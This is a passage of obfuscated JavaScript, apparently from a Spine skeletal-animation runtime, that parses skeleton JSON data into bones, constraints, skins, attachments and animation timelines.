'normal')), _0x5e0eeb['slots']['push'](_0xf41ba); } if (_0x206c9c['ik']) for (let _0x528f9d = 0x0; _0x528f9d < _0x206c9c['ik']['length']; _0x528f9d++) { let _0x10169e = _0x206c9c['ik'][_0x528f9d], _0x239d03 = new _0x1ba0c8(_0x10169e['name']); _0x239d03['order'] = _0xf797ab(_0x10169e, 'order', 0x0), _0x239d03['skinRequired'] = _0xf797ab(_0x10169e, 'skin', !0x1); for (let _0x55de18 = 0x0; _0x55de18 < _0x10169e['bones']['length']; _0x55de18++) { let _0x53f44d = _0x5e0eeb['findBone'](_0x10169e['bones'][_0x55de18]); if (!_0x53f44d) throw new Error('Couldn\x27t\x20find\x20bone\x20' + _0x10169e['bones'][_0x55de18] + '\x20for\x20IK\x20constraint\x20' + _0x10169e['name'] + '.'); _0x239d03['bones']['push'](_0x53f44d); } let _0x4af6cf = _0x5e0eeb['findBone'](_0x10169e['target']); if (!_0x4af6cf) throw new Error('Couldn\x27t\x20find\x20target\x20bone\x20' + _0x10169e['target'] + '\x20for\x20IK\x20constraint\x20' + _0x10169e['name'] + '.'); _0x239d03['target'] = _0x4af6cf, _0x239d03['mix'] = _0xf797ab(_0x10169e, 'mix', 0x1), _0x239d03['softness'] = _0xf797ab(_0x10169e, 'softness', 0x0) * _0xa14be8, _0x239d03['bendDirection'] = _0xf797ab(_0x10169e, 'bendPositive', !0x0) ? 0x1 : -0x1, _0x239d03['compress'] = _0xf797ab(_0x10169e, 'compress', !0x1), _0x239d03['stretch'] = _0xf797ab(_0x10169e, 'stretch', !0x1), _0x239d03['uniform'] = _0xf797ab(_0x10169e, 'uniform', !0x1), _0x5e0eeb['ikConstraints']['push'](_0x239d03); } if (_0x206c9c['transform']) for (let _0x389ce7 = 0x0; _0x389ce7 < _0x206c9c['transform']['length']; _0x389ce7++) { let _0x2b5459 = _0x206c9c['transform'][_0x389ce7], _0x57daff = new _0x3d5169(_0x2b5459['name']); _0x57daff['order'] = _0xf797ab(_0x2b5459, 'order', 0x0), _0x57daff['skinRequired'] = _0xf797ab(_0x2b5459, 'skin', !0x1); for (let _0x22c098 = 0x0; _0x22c098 < _0x2b5459['bones']['length']; _0x22c098++) { let _0x4073cc = _0x2b5459['bones'][_0x22c098], _0x233295 = _0x5e0eeb['findBone'](_0x4073cc); if (!_0x233295) throw new Error('Couldn\x27t\x20find\x20bone\x20' + _0x4073cc + '\x20for\x20transform\x20constraint\x20' + _0x2b5459['name'] + '.'); _0x57daff['bones']['push'](_0x233295); } let _0x26cfc8 = _0x2b5459['target'], _0x1dce11 = _0x5e0eeb['findBone'](_0x26cfc8); if (!_0x1dce11) throw new Error('Couldn\x27t\x20find\x20target\x20bone\x20' + _0x26cfc8 + '\x20for\x20transform\x20constraint\x20' + _0x2b5459['name'] + '.'); _0x57daff['target'] = _0x1dce11, _0x57daff['local'] = _0xf797ab(_0x2b5459, 'local', !0x1), _0x57daff['relative'] = _0xf797ab(_0x2b5459, 'relative', !0x1), _0x57daff['offsetRotation'] = _0xf797ab(_0x2b5459, 'rotation', 0x0), _0x57daff['offsetX'] = _0xf797ab(_0x2b5459, 'x', 0x0) * _0xa14be8, _0x57daff['offsetY'] = _0xf797ab(_0x2b5459, 'y', 0x0) * _0xa14be8, _0x57daff['offsetScaleX'] = _0xf797ab(_0x2b5459, 'scaleX', 0x0), _0x57daff['offsetScaleY'] = _0xf797ab(_0x2b5459, 'scaleY', 0x0), _0x57daff['offsetShearY'] = _0xf797ab(_0x2b5459, 'shearY', 0x0), _0x57daff['mixRotate'] = _0xf797ab(_0x2b5459, 'mixRotate', 0x1), _0x57daff['mixX'] = _0xf797ab(_0x2b5459, 'mixX', 0x1), _0x57daff['mixY'] = _0xf797ab(_0x2b5459, 'mixY', _0x57daff['mixX']), _0x57daff['mixScaleX'] = _0xf797ab(_0x2b5459, 'mixScaleX', 0x1), _0x57daff['mixScaleY'] = _0xf797ab(_0x2b5459, 'mixScaleY', _0x57daff['mixScaleX']), _0x57daff['mixShearY'] = _0xf797ab(_0x2b5459, 'mixShearY', 0x1), _0x5e0eeb['transformConstraints']['push'](_0x57daff); } if (_0x206c9c['path']) for (let _0x4fd907 = 0x0; _0x4fd907 < _0x206c9c['path']['length']; _0x4fd907++) { let _0x57cd21 = _0x206c9c['path'][_0x4fd907], _0x416db5 = new _0x45bd9c(_0x57cd21['name']); _0x416db5['order'] = _0xf797ab(_0x57cd21, 'order', 0x0), _0x416db5['skinRequired'] = _0xf797ab(_0x57cd21, 'skin', !0x1); for (let _0x17c0ec = 0x0; _0x17c0ec < _0x57cd21['bones']['length']; _0x17c0ec++) { let _0x207f80 = _0x57cd21['bones'][_0x17c0ec], _0x433917 = _0x5e0eeb['findBone'](_0x207f80); if (!_0x433917) throw new Error('Couldn\x27t\x20find\x20bone\x20' + _0x207f80 + '\x20for\x20path\x20constraint\x20' + _0x57cd21['name'] + '.'); _0x416db5['bones']['push'](_0x433917); } let _0x40470d = _0x57cd21['target'], _0x32cd50 = _0x5e0eeb['findSlot'](_0x40470d); if (!_0x32cd50) throw new Error('Couldn\x27t\x20find\x20target\x20slot\x20' + _0x40470d + '\x20for\x20path\x20constraint\x20' + _0x57cd21['name'] + '.'); _0x416db5['target'] = _0x32cd50, _0x416db5['positionMode'] = _0x5bda80['enumValue'](_0x3c0178, _0xf797ab(_0x57cd21, 'positionMode', 'Percent')), _0x416db5['spacingMode'] = _0x5bda80['enumValue'](_0x5b9a72, _0xf797ab(_0x57cd21, 'spacingMode', 'Length')), _0x416db5['rotateMode'] = _0x5bda80['enumValue'](_0x3bd433, _0xf797ab(_0x57cd21, 'rotateMode', 'Tangent')), _0x416db5['offsetRotation'] = _0xf797ab(_0x57cd21, 'rotation', 0x0), _0x416db5['position'] = _0xf797ab(_0x57cd21, 'position', 0x0), 0x0 == _0x416db5['positionMode'] && (_0x416db5['position'] *= _0xa14be8), _0x416db5['spacing'] = _0xf797ab(_0x57cd21, 'spacing', 0x0), 0x0 != _0x416db5['spacingMode'] && 0x1 != _0x416db5['spacingMode'] || (_0x416db5['spacing'] *= _0xa14be8), _0x416db5['mixRotate'] = _0xf797ab(_0x57cd21, 'mixRotate', 0x1), _0x416db5['mixX'] = _0xf797ab(_0x57cd21, 'mixX', 0x1), _0x416db5['mixY'] = _0xf797ab(_0x57cd21, 'mixY', _0x416db5['mixX']), _0x5e0eeb['pathConstraints']['push'](_0x416db5); } if (_0x206c9c['skins']) for (let _0x3e2dca = 0x0; _0x3e2dca < _0x206c9c['skins']['length']; _0x3e2dca++) { let _0x59a642 = _0x206c9c['skins'][_0x3e2dca], _0x12a665 = new _0x44f177(_0x59a642['name']); if (_0x59a642['bones']) for (let _0x48f511 = 0x0; _0x48f511 < _0x59a642['bones']['length']; _0x48f511++) { let _0x33f53e = _0x59a642['bones'][_0x48f511], _0x57d120 = _0x5e0eeb['findBone'](_0x33f53e); if (!_0x57d120) throw new Error('Couldn\x27t\x20find\x20bone\x20' + _0x33f53e + '\x20for\x20skin\x20' + _0x59a642['name'] + '.'); _0x12a665['bones']['push'](_0x57d120); } if (_0x59a642['ik']) for (let _0x52ecdd = 0x0; _0x52ecdd < _0x59a642['ik']['length']; _0x52ecdd++) { let _0x3cc8f9 = _0x59a642['ik'][_0x52ecdd], _0x3d8751 = _0x5e0eeb['findIkConstraint'](_0x3cc8f9); if (!_0x3d8751) throw new Error('Couldn\x27t\x20find\x20IK\x20constraint\x20' + _0x3cc8f9 + '\x20for\x20skin\x20' + _0x59a642['name'] + '.'); _0x12a665['constraints']['push'](_0x3d8751); } if (_0x59a642['transform']) for (let _0x1c2770 = 0x0; _0x1c2770 < _0x59a642['transform']['length']; _0x1c2770++) { let _0xffd2bd = _0x59a642['transform'][_0x1c2770], _0x1fad1b = _0x5e0eeb['findTransformConstraint'](_0xffd2bd); if (!_0x1fad1b) throw new Error('Couldn\x27t\x20find\x20transform\x20constraint\x20' + _0xffd2bd + '\x20for\x20skin\x20' + _0x59a642['name'] + '.'); _0x12a665['constraints']['push'](_0x1fad1b); } if (_0x59a642['path']) for (let _0x394e6f = 0x0; _0x394e6f < _0x59a642['path']['length']; _0x394e6f++) { let _0x20f3d0 = _0x59a642['path'][_0x394e6f], _0x46a1cd = _0x5e0eeb['findPathConstraint'](_0x20f3d0); if (!_0x46a1cd) throw new Error('Couldn\x27t\x20find\x20path\x20constraint\x20' + _0x20f3d0 + '\x20for\x20skin\x20' + _0x59a642['name'] + '.'); _0x12a665['constraints']['push'](_0x46a1cd); } for (let _0x19684c in _0x59a642['attachments']) { let _0xabd7ef = _0x5e0eeb['findSlot'](_0x19684c); if (!_0xabd7ef) throw new Error('Couldn\x27t\x20find\x20slot\x20' + _0x19684c + '\x20for\x20skin\x20' + _0x59a642['name'] + '.'); let _0x10f9ea = _0x59a642['attachments'][_0x19684c]; for (let _0x5c25f4 in _0x10f9ea) { let _0x17bcb3 = this['readAttachment'](_0x10f9ea[_0x5c25f4], _0x12a665, _0xabd7ef['index'], _0x5c25f4, _0x5e0eeb); _0x17bcb3 && _0x12a665['setAttachment'](_0xabd7ef['index'], _0x5c25f4, _0x17bcb3); } } _0x5e0eeb['skins']['push'](_0x12a665), 'default' == _0x12a665['name'] && (_0x5e0eeb['defaultSkin'] = _0x12a665); } for (let _0x895b34 = 0x0, _0x2246e2 = this['linkedMeshes']['length']; _0x895b34 < _0x2246e2; _0x895b34++) { let _0x512f5d = this['linkedMeshes'][_0x895b34], _0x444586 = _0x512f5d['skin'] ? _0x5e0eeb['findSkin'](_0x512f5d['skin']) : _0x5e0eeb['defaultSkin']; if (!_0x444586) throw new Error('Skin\x20not\x20found:\x20' + _0x512f5d['skin']); let _0x2f8cee = _0x444586['getAttachment'](_0x512f5d['slotIndex'], _0x512f5d['parent']); if (!_0x2f8cee) throw new Error('Parent\x20mesh\x20not\x20found:\x20' + _0x512f5d['parent']); _0x512f5d['mesh']['timelineAttachment'] = _0x512f5d['inheritTimeline'] ? _0x2f8cee : _0x512f5d['mesh'], _0x512f5d['mesh']['setParentMesh'](_0x2f8cee), null != _0x512f5d['mesh']['region'] && _0x512f5d['mesh']['updateRegion'](); } if (this['linkedMeshes']['length'] = 0x0, _0x206c9c['events']) for (let _0x3b4666 in _0x206c9c['events']) { let _0xaa6b8f = _0x206c9c['events'][_0x3b4666], _0x310c97 = new _0x39c213(_0x3b4666); _0x310c97['intValue'] = _0xf797ab(_0xaa6b8f, 'int', 0x0), _0x310c97['floatValue'] = _0xf797ab(_0xaa6b8f, 'float', 0x0), _0x310c97['stringValue'] = _0xf797ab(_0xaa6b8f, 'string', ''), _0x310c97['audioPath'] = _0xf797ab(_0xaa6b8f, 'audio', null), _0x310c97['audioPath'] && (_0x310c97['volume'] = _0xf797ab(_0xaa6b8f, 'volume', 0x1), _0x310c97['balance'] = _0xf797ab(_0xaa6b8f, 'balance', 0x0)), _0x5e0eeb['events']['push'](_0x310c97); } if (_0x206c9c['animations']) for (let _0x58e231 in _0x206c9c['animations']) { let _0x3389af = _0x206c9c['animations'][_0x58e231]; this['readAnimation'](_0x3389af, _0x58e231, _0x5e0eeb); } return _0x5e0eeb; } ['readAttachment'](_0x47a1e6, _0x1efef8, _0x97d556, _0x1a4966, _0x31990d) { let _0x44cc10 = this['scale']; switch (_0x1a4966 = _0xf797ab(_0x47a1e6, 'name', _0x1a4966), _0xf797ab(_0x47a1e6, 'type', 'region')) { case 'region': { let _0x4b1f83 = _0xf797ab(_0x47a1e6, 'path', _0x1a4966), _0x28300c = this['readSequence'](_0xf797ab(_0x47a1e6, 'sequence', null)), _0xf130b7 = this['attachmentLoader']['newRegionAttachment'](_0x1efef8, _0x1a4966, _0x4b1f83, _0x28300c); if (!_0xf130b7) return null; _0xf130b7['path'] = _0x4b1f83, _0xf130b7['x'] = _0xf797ab(_0x47a1e6, 'x', 0x0) * _0x44cc10, _0xf130b7['y'] = _0xf797ab(_0x47a1e6, 'y', 0x0) * _0x44cc10, _0xf130b7['scaleX'] = _0xf797ab(_0x47a1e6, 'scaleX', 0x1), _0xf130b7['scaleY'] = _0xf797ab(_0x47a1e6, 'scaleY', 0x1), _0xf130b7['rotation'] = _0xf797ab(_0x47a1e6, 'rotation', 0x0), _0xf130b7['width'] = _0x47a1e6['width'] * _0x44cc10, _0xf130b7['height'] = _0x47a1e6['height'] * _0x44cc10, _0xf130b7['sequence'] = _0x28300c; let _0x588b8a = _0xf797ab(_0x47a1e6, 'color', null); return _0x588b8a && _0xf130b7['color']['setFromString'](_0x588b8a), null != _0xf130b7['region'] && _0xf130b7['updateRegion'](), _0xf130b7; } case 'boundingbox': { let _0x13fa97 = this['attachmentLoader']['newBoundingBoxAttachment'](_0x1efef8, _0x1a4966); if (!_0x13fa97) return null; this['readVertices'](_0x47a1e6, _0x13fa97, _0x47a1e6['vertexCount'] << 0x1); let _0x4672f5 = _0xf797ab(_0x47a1e6, 'color', null); return _0x4672f5 && _0x13fa97['color']['setFromString'](_0x4672f5), _0x13fa97; } case 'mesh': case 'linkedmesh': { let _0x5f0c7a = _0xf797ab(_0x47a1e6, 'path', _0x1a4966), _0xa3dc38 = this['readSequence'](_0xf797ab(_0x47a1e6, 'sequence', null)), _0x3f1d4e = this['attachmentLoader']['newMeshAttachment'](_0x1efef8, _0x1a4966, _0x5f0c7a, _0xa3dc38); if (!_0x3f1d4e) return null; _0x3f1d4e['path'] = _0x5f0c7a; let _0x17bf6f = _0xf797ab(_0x47a1e6, 'color', null); _0x17bf6f && _0x3f1d4e['color']['setFromString'](_0x17bf6f), _0x3f1d4e['width'] = _0xf797ab(_0x47a1e6, 'width', 0x0) * _0x44cc10, _0x3f1d4e['height'] = _0xf797ab(_0x47a1e6, 'height', 0x0) * _0x44cc10, _0x3f1d4e['sequence'] = _0xa3dc38; let _0x5ae129 = _0xf797ab(_0x47a1e6, 'parent', null); if (_0x5ae129) return this['linkedMeshes']['push'](new _0xefadd5(_0x3f1d4e, _0xf797ab(_0x47a1e6, 'skin', null), _0x97d556, _0x5ae129, _0xf797ab(_0x47a1e6, 'timelines', !0x0))), _0x3f1d4e; let _0x4c4b7f = _0x47a1e6['uvs']; return this['readVertices'](_0x47a1e6, _0x3f1d4e, _0x4c4b7f['length']), _0x3f1d4e['triangles'] = _0x47a1e6['triangles'], _0x3f1d4e['regionUVs'] = _0x4c4b7f, null != _0x3f1d4e['region'] && _0x3f1d4e['updateRegion'](), _0x3f1d4e['edges'] = _0xf797ab(_0x47a1e6, 'edges', null), _0x3f1d4e['hullLength'] = 0x2 * _0xf797ab(_0x47a1e6, 'hull', 0x0), _0x3f1d4e; } case 'path': { let _0x4597d8 = this['attachmentLoader']['newPathAttachment'](_0x1efef8, _0x1a4966); if (!_0x4597d8) return null; _0x4597d8['closed'] = _0xf797ab(_0x47a1e6, 'closed', !0x1), _0x4597d8['constantSpeed'] = _0xf797ab(_0x47a1e6, 'constantSpeed', !0x0); let _0x2c5758 = _0x47a1e6['vertexCount']; this['readVertices'](_0x47a1e6, _0x4597d8, _0x2c5758 << 0x1); let _0x1a0786 = _0x5bda80['newArray'](_0x2c5758 / 0x3, 0x0); for (let _0xc78e63 = 0x0; _0xc78e63 < _0x47a1e6['lengths']['length']; _0xc78e63++)_0x1a0786[_0xc78e63] = _0x47a1e6['lengths'][_0xc78e63] * _0x44cc10; _0x4597d8['lengths'] = _0x1a0786; let _0x23ab2f = _0xf797ab(_0x47a1e6, 'color', null); return _0x23ab2f && _0x4597d8['color']['setFromString'](_0x23ab2f), _0x4597d8; } case 'point': { let _0x1ab9cd = this['attachmentLoader']['newPointAttachment'](_0x1efef8, _0x1a4966); if (!_0x1ab9cd) return null; _0x1ab9cd['x'] = _0xf797ab(_0x47a1e6, 'x', 0x0) * _0x44cc10, _0x1ab9cd['y'] = _0xf797ab(_0x47a1e6, 'y', 0x0) * _0x44cc10, _0x1ab9cd['rotation'] = _0xf797ab(_0x47a1e6, 'rotation', 0x0); let _0xb18c94 = _0xf797ab(_0x47a1e6, 'color', null); return _0xb18c94 && _0x1ab9cd['color']['setFromString'](_0xb18c94), _0x1ab9cd; } case 'clipping': { let _0x59334a = this['attachmentLoader']['newClippingAttachment'](_0x1efef8, _0x1a4966); if (!_0x59334a) return null; let _0x3c38db = _0xf797ab(_0x47a1e6, 'end', null); _0x3c38db && (_0x59334a['endSlot'] = _0x31990d['findSlot'](_0x3c38db)); let _0xeca2b7 = _0x47a1e6['vertexCount']; this['readVertices'](_0x47a1e6, _0x59334a, _0xeca2b7 << 0x1); let _0x491bbb = _0xf797ab(_0x47a1e6, 'color', null); return _0x491bbb && _0x59334a['color']['setFromString'](_0x491bbb), _0x59334a; } }return null; } ['readSequence'](_0x2d4cce) { if (null == _0x2d4cce) return null; let _0xc04608 = new _0x34c537(_0xf797ab(_0x2d4cce, 'count', 0x0)); return _0xc04608['start'] = _0xf797ab(_0x2d4cce, 'start', 0x1), _0xc04608['digits'] = _0xf797ab(_0x2d4cce, 'digits', 0x0), _0xc04608['setupIndex'] = _0xf797ab(_0x2d4cce, 'setup', 0x0), _0xc04608; } ['readVertices'](_0x160688, _0x301783, _0x587b16) { let _0x146c48 = this['scale']; _0x301783['worldVerticesLength'] = _0x587b16; let _0xd94bf9 = _0x160688['vertices']; if (_0x587b16 == _0xd94bf9['length']) { let _0x5e63e0 = _0x5bda80['toFloatArray'](_0xd94bf9); if (0x1 != _0x146c48) { for (let _0x155b0e = 0x0, _0x3c563b = _0xd94bf9['length']; _0x155b0e < _0x3c563b; _0x155b0e++)_0x5e63e0[_0x155b0e] *= _0x146c48; } return void (_0x301783['vertices'] = _0x5e63e0); } let _0x2ad3e0 = new Array(), _0x1b5fbf = new Array(); for (let _0x48e753 = 0x0, _0x219a8c = _0xd94bf9['length']; _0x48e753 < _0x219a8c;) { let _0x5ea889 = _0xd94bf9[_0x48e753++]; _0x1b5fbf['push'](_0x5ea889); for (let _0x4e761b = _0x48e753 + 0x4 * _0x5ea889; _0x48e753 < _0x4e761b; _0x48e753 += 0x4)_0x1b5fbf['push'](_0xd94bf9[_0x48e753]), _0x2ad3e0['push'](_0xd94bf9[_0x48e753 + 0x1] * _0x146c48), _0x2ad3e0['push'](_0xd94bf9[_0x48e753 + 0x2] * _0x146c48), _0x2ad3e0['push'](_0xd94bf9[_0x48e753 + 0x3]); } _0x301783['bones'] = _0x1b5fbf, _0x301783['vertices'] = _0x5bda80['toFloatArray'](_0x2ad3e0); } ['readAnimation'](_0x46ca5d, _0x3a705f, _0x1dda7e) { let _0xe19d66 = this['scale'], _0x781365 = new Array(); if (_0x46ca5d['slots']) for (let _0x2efb52 in _0x46ca5d['slots']) { let _0x4fdb31 = _0x46ca5d['slots'][_0x2efb52], _0x3011a1 = _0x1dda7e['findSlot'](_0x2efb52); if (!_0x3011a1) throw new Error('Slot\x20not\x20found:\x20' + _0x2efb52); let _0x1113d3 = _0x3011a1['index']; for (let _0xb29b35 in _0x4fdb31) { let _0x1ae9ee = _0x4fdb31[_0xb29b35]; if (!_0x1ae9ee) continue; let _0x26ea45 = _0x1ae9ee['length']; if ('attachment' == _0xb29b35) { let _0x152c53 = new _0xc3d6e4(_0x26ea45, _0x1113d3); for (let _0x3caf04 = 0x0; _0x3caf04 < _0x26ea45; _0x3caf04++) { let _0x1a25f3 = _0x1ae9ee[_0x3caf04]; _0x152c53['setFrame'](_0x3caf04, _0xf797ab(_0x1a25f3, 'time', 0x0), _0xf797ab(_0x1a25f3, 'name', null)); } _0x781365['push'](_0x152c53); } else { if ('rgba' == _0xb29b35) { let _0x2492d5 = new _0x185cd5(_0x26ea45, _0x26ea45 << 0x2, _0x1113d3), _0x2ee69d = _0x1ae9ee[0x0], _0x4952b6 = _0xf797ab(_0x2ee69d, 'time', 0x0), _0x3e6ee8 = _0x1acaf1['fromString'](_0x2ee69d['color']); for (let _0xf21a71 = 0x0, _0x23abfa = 0x0; ; _0xf21a71++) { _0x2492d5['setFrame'](_0xf21a71, _0x4952b6, _0x3e6ee8['r'], _0x3e6ee8['g'], _0x3e6ee8['b'], _0x3e6ee8['a']); let _0x2fded1 = _0x1ae9ee[_0xf21a71 + 0x1]; if (!_0x2fded1) { _0x2492d5['shrink'](_0x23abfa); break; } let _0x4a9d13 = _0xf797ab(_0x2fded1, 'time', 0x0), _0x2a1c57 = _0x1acaf1['fromString'](_0x2fded1['color']), _0x4464ee = _0x2ee69d['curve']; _0x4464ee && (_0x23abfa = _0x1bddeb(_0x4464ee, _0x2492d5, _0x23abfa, _0xf21a71, 0x0, _0x4952b6, _0x4a9d13, _0x3e6ee8['r'], _0x2a1c57['r'], 0x1), _0x23abfa = _0x1bddeb(_0x4464ee, _0x2492d5, _0x23abfa, _0xf21a71, 0x1, _0x4952b6, _0x4a9d13, _0x3e6ee8['g'], _0x2a1c57['g'], 0x1), _0x23abfa = _0x1bddeb(_0x4464ee, _0x2492d5, _0x23abfa, _0xf21a71, 0x2, _0x4952b6, _0x4a9d13, _0x3e6ee8['b'], _0x2a1c57['b'], 0x1), _0x23abfa = _0x1bddeb(_0x4464ee, _0x2492d5, _0x23abfa, _0xf21a71, 0x3, _0x4952b6, _0x4a9d13, _0x3e6ee8['a'], _0x2a1c57['a'], 0x1)), _0x4952b6 = _0x4a9d13, _0x3e6ee8 = _0x2a1c57, _0x2ee69d = _0x2fded1; } _0x781365['push'](_0x2492d5); } else { if ('rgb' == _0xb29b35) { let _0x308091 = new _0x21e97f(_0x26ea45, 0x3 * _0x26ea45, _0x1113d3), _0x2d3278 = _0x1ae9ee[0x0], _0x55a667 = _0xf797ab(_0x2d3278, 'time', 0x0), _0x53b505 = _0x1acaf1['fromString'](_0x2d3278['color']); for (let _0x3a097f = 0x0, _0x3eb5d7 = 0x0; ; _0x3a097f++) { _0x308091['setFrame'](_0x3a097f, _0x55a667, _0x53b505['r'], _0x53b505['g'], _0x53b505['b']); let _0x4c5405 = _0x1ae9ee[_0x3a097f + 0x1]; if (!_0x4c5405) { _0x308091['shrink'](_0x3eb5d7); break; } let _0x113693 = _0xf797ab(_0x4c5405, 'time', 0x0), _0x31e711 = _0x1acaf1['fromString'](_0x4c5405['color']), _0x36dea0 = _0x2d3278['curve']; _0x36dea0 && (_0x3eb5d7 = _0x1bddeb(_0x36dea0, _0x308091, _0x3eb5d7, _0x3a097f, 0x0, _0x55a667, _0x113693, _0x53b505['r'], _0x31e711['r'], 0x1), _0x3eb5d7 = _0x1bddeb(_0x36dea0, _0x308091, _0x3eb5d7, _0x3a097f, 0x1, _0x55a667, _0x113693, _0x53b505['g'], _0x31e711['g'], 0x1), _0x3eb5d7 = _0x1bddeb(_0x36dea0, _0x308091, _0x3eb5d7, _0x3a097f, 0x2, _0x55a667, _0x113693, _0x53b505['b'], _0x31e711['b'], 0x1)), _0x55a667 = _0x113693, _0x53b505 = _0x31e711, _0x2d3278 = _0x4c5405; } _0x781365['push'](_0x308091); } else { if ('alpha' == _0xb29b35) _0x781365['push'](_0x1af3b7(_0x1ae9ee, new _0x41704c(_0x26ea45, _0x26ea45, _0x1113d3), 0x0, 0x1)); else { if ('rgba2' == _0xb29b35) { let _0x582e51 = new _0x585b70(_0x26ea45, 0x7 * _0x26ea45, _0x1113d3), _0x7b1614 = _0x1ae9ee[0x0], _0x2281c8 = _0xf797ab(_0x7b1614, 'time', 0x0), _0x2e74a8 = _0x1acaf1['fromString'](_0x7b1614['light']), _0x42fbcf = _0x1acaf1['fromString'](_0x7b1614['dark']); for (let _0x19a01e = 0x0, _0x5a553f = 0x0; ; _0x19a01e++) { _0x582e51['setFrame'](_0x19a01e, _0x2281c8, _0x2e74a8['r'], _0x2e74a8['g'], _0x2e74a8['b'], _0x2e74a8['a'], _0x42fbcf['r'], _0x42fbcf['g'], _0x42fbcf['b']); let _0x51a3f6 = _0x1ae9ee[_0x19a01e + 0x1]; if (!_0x51a3f6) { _0x582e51['shrink'](_0x5a553f); break; } let _0xaf645 = _0xf797ab(_0x51a3f6, 'time', 0x0), _0x2e2efb = _0x1acaf1['fromString'](_0x51a3f6['light']), _0xb81034 = _0x1acaf1['fromString'](_0x51a3f6['dark']), _0x434981 = _0x7b1614['curve']; _0x434981 && (_0x5a553f = _0x1bddeb(_0x434981, _0x582e51, _0x5a553f, _0x19a01e, 0x0, _0x2281c8, _0xaf645, _0x2e74a8['r'], _0x2e2efb['r'], 0x1), _0x5a553f = _0x1bddeb(_0x434981, _0x582e51, _0x5a553f, _0x19a01e, 0x1, _0x2281c8, _0xaf645, _0x2e74a8['g'], _0x2e2efb['g'], 0x1), _0x5a553f = _0x1bddeb(_0x434981, _0x582e51, _0x5a553f, _0x19a01e, 0x2, _0x2281c8, _0xaf645, _0x2e74a8['b'], _0x2e2efb['b'], 0x1), _0x5a553f = _0x1bddeb(_0x434981, _0x582e51, _0x5a553f, _0x19a01e, 0x3, _0x2281c8, _0xaf645, _0x2e74a8['a'], _0x2e2efb['a'], 0x1), _0x5a553f = _0x1bddeb(_0x434981, _0x582e51, _0x5a553f, _0x19a01e, 0x4, _0x2281c8, _0xaf645, _0x42fbcf['r'], _0xb81034['r'], 0x1), _0x5a553f = _0x1bddeb(_0x434981, _0x582e51, _0x5a553f, _0x19a01e, 0x5, _0x2281c8, _0xaf645, _0x42fbcf['g'], _0xb81034['g'], 0x1), _0x5a553f = _0x1bddeb(_0x434981, _0x582e51, _0x5a553f, _0x19a01e, 0x6, _0x2281c8, _0xaf645, _0x42fbcf['b'], _0xb81034['b'], 0x1)), _0x2281c8 = _0xaf645, _0x2e74a8 = _0x2e2efb, _0x42fbcf = _0xb81034, _0x7b1614 = _0x51a3f6; } _0x781365['push'](_0x582e51); } else { if ('rgb2' == _0xb29b35) { let _0x3a629e = new _0x3aedbe(_0x26ea45, 0x6 * _0x26ea45, _0x1113d3), _0x42ec6d = _0x1ae9ee[0x0], _0x51fe6d = _0xf797ab(_0x42ec6d, 'time', 0x0), _0x4749ed = _0x1acaf1['fromString'](_0x42ec6d['light']), _0xb2c036 = _0x1acaf1['fromString'](_0x42ec6d['dark']); for (let _0x496be8 = 0x0, _0x462156 = 0x0; ; _0x496be8++) { _0x3a629e['setFrame'](_0x496be8, _0x51fe6d, _0x4749ed['r'], _0x4749ed['g'], _0x4749ed['b'], _0xb2c036['r'], _0xb2c036['g'], _0xb2c036['b']); let _0x5cfa1d = _0x1ae9ee[_0x496be8 + 0x1]; if (!_0x5cfa1d) { _0x3a629e['shrink'](_0x462156); break; } let _0x189fcd = _0xf797ab(_0x5cfa1d, 'time', 0x0), _0x2ae0f8 = _0x1acaf1['fromString'](_0x5cfa1d['light']), _0x32b441 = _0x1acaf1['fromString'](_0x5cfa1d['dark']), _0xd17f6b = _0x42ec6d['curve']; _0xd17f6b && (_0x462156 = _0x1bddeb(_0xd17f6b, _0x3a629e, _0x462156, _0x496be8, 0x0, _0x51fe6d, _0x189fcd, _0x4749ed['r'], _0x2ae0f8['r'], 0x1), _0x462156 = _0x1bddeb(_0xd17f6b, _0x3a629e, _0x462156, _0x496be8, 0x1, _0x51fe6d, _0x189fcd, _0x4749ed['g'], _0x2ae0f8['g'], 0x1), _0x462156 = _0x1bddeb(_0xd17f6b, _0x3a629e, _0x462156, _0x496be8, 0x2, _0x51fe6d, _0x189fcd, _0x4749ed['b'], _0x2ae0f8['b'], 0x1), _0x462156 = _0x1bddeb(_0xd17f6b, _0x3a629e, _0x462156, _0x496be8, 0x3, _0x51fe6d, _0x189fcd, _0xb2c036['r'], _0x32b441['r'], 0x1), _0x462156 = _0x1bddeb(_0xd17f6b, _0x3a629e, _0x462156, _0x496be8, 0x4, _0x51fe6d, _0x189fcd, _0xb2c036['g'], _0x32b441['g'], 0x1), _0x462156 = _0x1bddeb(_0xd17f6b, _0x3a629e, _0x462156, _0x496be8, 0x5, _0x51fe6d, _0x189fcd, _0xb2c036['b'], _0x32b441['b'], 0x1)), _0x51fe6d = _0x189fcd, _0x4749ed = _0x2ae0f8, _0xb2c036 = _0x32b441, _0x42ec6d = _0x5cfa1d; } _0x781365['push'](_0x3a629e); } } } } } } } } if (_0x46ca5d['bones']) for (let _0x5a8741 in _0x46ca5d['bones']) { let _0x5711b2 = _0x46ca5d['bones'][_0x5a8741], _0x2208f1 = _0x1dda7e['findBone'](_0x5a8741); if (!_0x2208f1) throw new Error('Bone\x20not\x20found:\x20' + _0x5a8741); let _0x52254b = _0x2208f1['index']; for (let _0x8c4aee in _0x5711b2) { let _0x33a648 = _0x5711b2[_0x8c4aee], _0x2ba37a = _0x33a648['length']; if (0x0 != _0x2ba37a) { if ('rotate' === _0x8c4aee) _0x781365['push'](_0x1af3b7(_0x33a648, new _0x96df89(_0x2ba37a, _0x2ba37a, _0x52254b), 0x0, 0x1)); else { if ('translate' === _0x8c4aee) { let _0x34ac0b = new _0x6b1dcb(_0x2ba37a, _0x2ba37a << 0x1, _0x52254b); _0x781365['push'](_0x2fcc90(_0x33a648, _0x34ac0b, 'x', 'y', 0x0, _0xe19d66)); } else { if ('translatex' === _0x8c4aee) { let _0x8ab3a0 = new _0x2f9417(_0x2ba37a, _0x2ba37a, _0x52254b); _0x781365['push'](_0x1af3b7(_0x33a648, _0x8ab3a0, 0x0, _0xe19d66)); } else { if ('translatey' === _0x8c4aee) { let _0x2819ee = new _0x1a76ca(_0x2ba37a, _0x2ba37a, _0x52254b); _0x781365['push'](_0x1af3b7(_0x33a648, _0x2819ee, 0x0, _0xe19d66)); } else { if ('scale' === _0x8c4aee) { let _0x16f055 = new _0x72a919(_0x2ba37a, _0x2ba37a << 0x1, _0x52254b); _0x781365['push'](_0x2fcc90(_0x33a648, _0x16f055, 'x', 'y', 0x1, 0x1)); } else { if ('scalex' === _0x8c4aee) { let _0x393f0c = new 